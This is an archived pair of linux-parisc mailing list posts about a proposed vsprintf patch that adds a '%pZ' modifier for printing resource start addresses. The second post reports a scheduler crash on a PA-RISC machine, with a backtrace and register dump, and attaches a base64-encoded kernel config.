Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 1 Jan 2009 14:04:45 -0500 (EST)
Lines: 97
Approved: news@gmane.org
Message-ID: <20090101190446.A26994EDA@hiauly1.hia.nrc.ca>
References: <495CFE20.2000702@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230836712 15586 80.91.229.12 (1 Jan 2009 19:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 19:05:12 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 20:06:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LISru-000246-Jo
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 20:06:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751536AbZAATEu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 14:04:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752988AbZAATEt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 14:04:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4000 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751536AbZAATEt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 14:04:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A26994EDA; Thu,  1 Jan 2009 14:04:46 -0500 (EST)
In-Reply-To: <495CFE20.2000702@gmx.de> from "Helge Deller" at Jan 1, 2009 06:32:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1084>

> John David Anglin wrote:
> > Hi Helge,
> > 
> > I just want to say that I like Kyle's approach.  There already exists
> > the 'R' modifier for %p.  This outputs a pair of resource_size_t values.
> > We just need a modifier to handle the printing of the start value in
> > a manner similar to that for the 'R' modifier.  So, I think this issue
> > needs another go around.
> 
> Sadly none of the approaches is really nice, as with Kyle's approach we'd
> loose the type-checking of printk.
> But yes, maybe that's the best choice of all bad ones.
> Will you try/come up with a patch to vsprintf.c?

I was think of something like this (untested):

diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index a013bbc..3c47705 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -551,8 +551,6 @@ static char *symbol_string(char *buf, char *end, void *ptr, int field_width, int
 #endif
 }
 
-static char *resource_string(char *buf, char *end, struct resource *res, int field_width, int precision, int flags)
-{
 #ifndef IO_RSRC_PRINTK_SIZE
 #define IO_RSRC_PRINTK_SIZE	4
 #endif
@@ -561,6 +559,8 @@ static char *resource_string(char *buf, char *end, struct resource *res, int fie
 #define MEM_RSRC_PRINTK_SIZE	8
 #endif
 
+static char *resource_string(char *buf, char *end, struct resource *res, int field_width, int precision, int flags)
+{
 	/* room for the actual numbers, the two "0x", -, [, ] and the final zero */
 	char sym[4*sizeof(resource_size_t) + 8];
 	char *p = sym, *pend = sym + sizeof(sym);
@@ -581,6 +581,24 @@ static char *resource_string(char *buf, char *end, struct resource *res, int fie
 	return string(buf, end, sym, field_width, precision, flags);
 }
 
+static char *resource_start_string(char *buf, char *end, struct resource *res, int field_width, int precision, int flags)
+{
+	/* room for the number, the "0x", and the final zero */
+	char sym[2*sizeof(resource_size_t) + 3];
+	char *p = sym, *pend = sym + sizeof(sym);
+	int size = -1;
+
+	if (res->flags & IORESOURCE_IO)
+		size = IO_RSRC_PRINTK_SIZE;
+	else if (res->flags & IORESOURCE_MEM)
+		size = MEM_RSRC_PRINTK_SIZE;
+
+	p = number(p, pend, res->start, 16, size, -1, SPECIAL | SMALL | ZEROPAD);
+	*p = 0;
+
+	return string(buf, end, sym, field_width, precision, flags);
+}
+
 /*
  * Show a '%p' thing.  A kernel extension is that the '%p' is followed
  * by an extra set of alphanumeric characters that are extended format
@@ -592,6 +610,7 @@ static char *resource_string(char *buf, char *end, struct resource *res, int fie
  * - 'S' For symbolic direct pointers
  * - 'R' For a struct resource pointer, it prints the range of
  *       addresses (not the name nor the flags)
+ * - 'Z' For a struct resource pointer, it prints the start address
  *
  * Note: The difference between 'S' and 'F' is that on ia64 and ppc64
  * function pointers are really function descriptors, which contain a
@@ -607,6 +626,8 @@ static char *pointer(const char *fmt, char *buf, char *end, void *ptr, int field
 		return symbol_string(buf, end, ptr, field_width, precision, flags);
 	case 'R':
 		return resource_string(buf, end, ptr, field_width, precision, flags);
+	case 'Z':
+		return resource_start_string(buf, end, ptr, field_width, precision, flags);
 	}
 	flags |= SMALL;
 	if (field_width == -1) {

So, one would just pass the resource pointer.  This has the advantage that
it handles 4 and 8 hex digits when appropriate.  However, it is limited to
just printing the start address.  In most cases, that's all that is done.

The 'R' modifier can be used to print both the start and end values.  There
are a few cases where a range is printed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 1 Jan 2009 17:37:51 -0500
Organization: nrc.ca
Lines: 295
Approved: news@gmane.org
Message-ID: <20090101223750.GA21914@hiauly1.hia.nrc.ca>
References: <495CFE20.2000702@gmx.de> <20090101190446.A26994EDA@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="ZGiS0Q5IWpPtfppv"
X-Trace: ger.gmane.org 1230849486 347 80.91.229.12 (1 Jan 2009 22:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 22:38:06 +0000 (UTC)
Cc: kyle@infradead.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 23:39:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIWC8-0003pB-Tt
	for glpp-linux-parisc@gmane.org; Thu, 01 Jan 2009 23:39:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752599AbZAAWh4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 17:37:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753297AbZAAWh4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 17:37:56 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1312 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752599AbZAAWhz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 17:37:55 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E964E4F19; Thu,  1 Jan 2009 17:37:51 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20090101190446.A26994EDA@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1085
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1085>


--ZGiS0Q5IWpPtfppv
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Thu, 01 Jan 2009, John David Anglin wrote:

> I was think of something like this (untested):

While trying to test this, I hit the following with Kyle's 2.6.28-rc7
parisc tree:

Debian GNU/Linux 5.0 mx3210 ttyS1

mx3210 login: Backtrace:
 [<000000004014240c>] dequeue_entity+0x34/0x190
 [<0000000040144154>] __set_se_shares+0x74/0xb8
 [<0000000040146674>] tg_shares_up+0x214/0x2c0
 [<000000004013e254>] walk_tg_tree+0xac/0x110
 [<0000000040148ea8>] update_shares+0x78/0x90
 [<0000000040149198>] try_to_wake_up+0x2d8/0x2e0
 [<0000000040149234>] wake_up_process+0x24/0x38
 [<000000004018962c>] softlockup_tick+0x234/0x250
 [<000000004015fe68>] run_local_timers+0x38/0x48
 [<000000004015ff48>] update_process_times+0x50/0xc8
 [<000000004011d208>] timer_interrupt+0x208/0x210
 [<0000000040189f30>] handle_IRQ_event+0x70/0xd0
 [<000000004018a05c>] __do_IRQ+0xcc/0x280
 [<000000004011d8d0>] do_cpu_irq_mask+0x1a8/0x298
 [<0000000040104074>] intr_return+0x0/0x4
 [<000000004011d208>] timer_interrupt+0x208/0x210


Bad Address (null pointer deref?): Code=15 regs=000000007f54dc30 (Addr=c000000053c33ffd)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001100000000000001110 Tainted: G        W 
r00-03  000000000806000e 000000007f54daf0 000000004014240c 000000007f54db90
r04-07  00000000405b86a0 e840d00053c33f8d e840d00053c33f8d e840d00053c33f8d
r08-11  0000000000000010 0000000000000002 000000007f54da20 000000007ed15178
r12-15  0000000000001000 0000000000000400 0000000000000400 0000000000000001
r16-19  000000004276c1d0 00000000405baea0 0000000000001001 000000007fb1f740
r20-23  0000000000000000 0000000080080000 0000000000000000 0000000000000000
r24-27  0000000000000000 000000004013e254 e840d00053c33f8d 00000000405b86a0
r28-31  00000000081b0244 000000007f54db60 000000007f54dc30 000000007fb1f740
sr00-03  0000000003840000 0000000000000000 0000000000000000 0000000003840000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004013e550 000000004013e554
 IIR: 535c00e0    ISR: 000000002840d000  IOR: c000000053c33ffd
 CPU:        2   CR30: 000000007f524000 CR31: 0000000040554000
ORIG_R28: d84156c5635688c0
IAOQ[0]: update_curr+0x28/0x150
IAOQ[1]: update_curr+0x2c/0x150
RP(r2): dequeue_entity+0x34/0x190

000000004013e528 <update_curr>:
    4013e528:   08 03 02 41     copy r3,r1
    4013e52c:   0f c2 12 c1     std rp,-10(sp)
    4013e530:   08 1e 02 43     copy sp,r3
    4013e534:   73 c1 01 48     std,ma r1,a0(sp)
    4013e538:   70 66 00 30     std r6,18(r3)
    4013e53c:   08 1a 02 46     copy r26,r6
    4013e540:   0c 68 12 d0     std r8,8(r3)
    4013e544:   70 67 00 20     std r7,10(r3)
    4013e548:   70 65 00 40     std r5,20(r3)
    4013e54c:   70 64 00 50     std r4,28(r3)
    4013e550:   53 5c 00 e0     ldd 70(r26),ret0

Not sure what's going on with r26.

Config attached.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--ZGiS0Q5IWpPtfppv
Content-Type: application/x-gunzip
Content-Disposition: attachment; filename="config-mx3210.gz"
Content-Transfer-Encoding: base64

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
